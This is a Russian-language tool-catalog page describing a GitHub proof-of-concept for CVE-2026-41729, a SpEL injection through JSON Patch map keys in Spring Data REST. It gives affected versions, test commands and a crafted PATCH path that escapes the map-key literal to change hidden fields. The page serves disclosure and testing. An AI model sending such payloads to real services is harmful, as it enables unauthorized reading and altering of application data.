Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Инструменты/GitHubGitHub/daehyuh/cve-2026-41729
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

Этот репозиторий содержит минимальный PoC для CVE-2026-41729, опубликованного в официальном бюллетене безопасности Spring.

  • Официальный бюллетень: https://spring.io/security/cve-2026-41729/
  • Официальное название: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Серьёзность: Высокая
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Дата публикации: 2026-06-09

Краткое описание уязвимости

При обработке запросов JSON Patch (Content-Type: application/json-patch+json) Spring Data REST напрямую вставлял фрагменты пути ключа map-свойства (map-typed property) в выражения SpEL.

Согласно официальному бюллетеню, если постоянная сущность (persistent entity) предоставляет свойство типа Map, и злоумышленник может отправить PATCH-запрос к соответствующему ресурсу, то можно манипулировать сегментом ключа map, чтобы выйти за пределы предполагаемого литерала map indexer и выполнить подвыражение SpEL в контексте aggregate root. Сообщается, что затронуты как read-путь, так и write-путь патча.

Скачать инструмент

Данный PoC демонстрирует использование write-пути патча для изменения поля, отмеченного @JsonIgnore, которое не отображается в обычном REST-представлении, с помощью специально crafted JSON Patch path.

Затронутые версии

Продукты по официальному бюллетеню:

  • Spring Data REST

Затронутые версии:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Более старые, неподдерживаемые версии также могут быть затронуты

Исправленные версии:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 или 4.5.11.1
  • 5.0.6 или 5.0.5.1

Что демонстрирует этот PoC

Тест запускает реальное приложение Spring Boot и отправляет HTTP PATCH-запрос к эндпоинту Spring Data REST repository.

Доменный объект имеет следующую структуру:

  • Открытая для внешнего доступа people map
  • hiddenChildren map, которая существует внутри каждого объекта Person, но скрыта в представлениях Jackson/Spring Data REST

В обычном ответе REST hiddenChildren и его внутренние значения не видны.

root@kitploit:~
GET /wrappers/sample

Прямое указание скрытого свойства в JSON Patch отклоняется.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

Однако при использовании crafted map key можно выйти за пределы литерала ключа map в процессе преобразования JSON Patch path → SpEL path и попасть на путь скрытого свойства.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

В уязвимой версии этот запрос выполняется успешно, и внутреннее значение изменяется следующим образом:

root@kitploit:~
before -> after

Тест подтверждает, что в map не был создан фактический ключ a'].hiddenChildren['b; изменение скрытого пути свойства обусловлено выходом за литерал в выражении.

Как запустить

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

Ожидаемый результат для уязвимой версии:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

Успешное выполнение теста означает «уязвимое поведение воспроизведено». То есть в уязвимых зависимостях crafted JSON Patch-запрос успешно проходит и демонстрирует изменение скрытого внутреннего состояния.

Используемые зависимости

Данный репозиторий использует родительскую конфигурацию Spring Boot 3.5.14, при которой разрешается spring-data-rest-webmvc версии 4.5.11, что входит в затронутый диапазон 4.5.0 - 4.5.11 согласно официальному бюллетеню.

Почему это опасно

Злоумышленник, способный отправлять JSON Patch-запросы на эндпоинт Spring Data REST, может манипулировать ключами map, чтобы спровоцировать нежелательную оценку SpEL-пути на стороне сервера. В результате могут быть прочитаны или изменены внутренние значения объекта, которые приложение не намеревалось раскрывать через REST-представление.

Официальный бюллетень оценивает влияние на конфиденциальность и целостность как «Высокое».

Credit

В официальном бюллетене Spring указано:

  • Daehyun Kang (@daehyuh)

Ссылки

  • Официальный бюллетень Spring: https://spring.io/security/cve-2026-41729/
  • Калькулятор CVSS: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1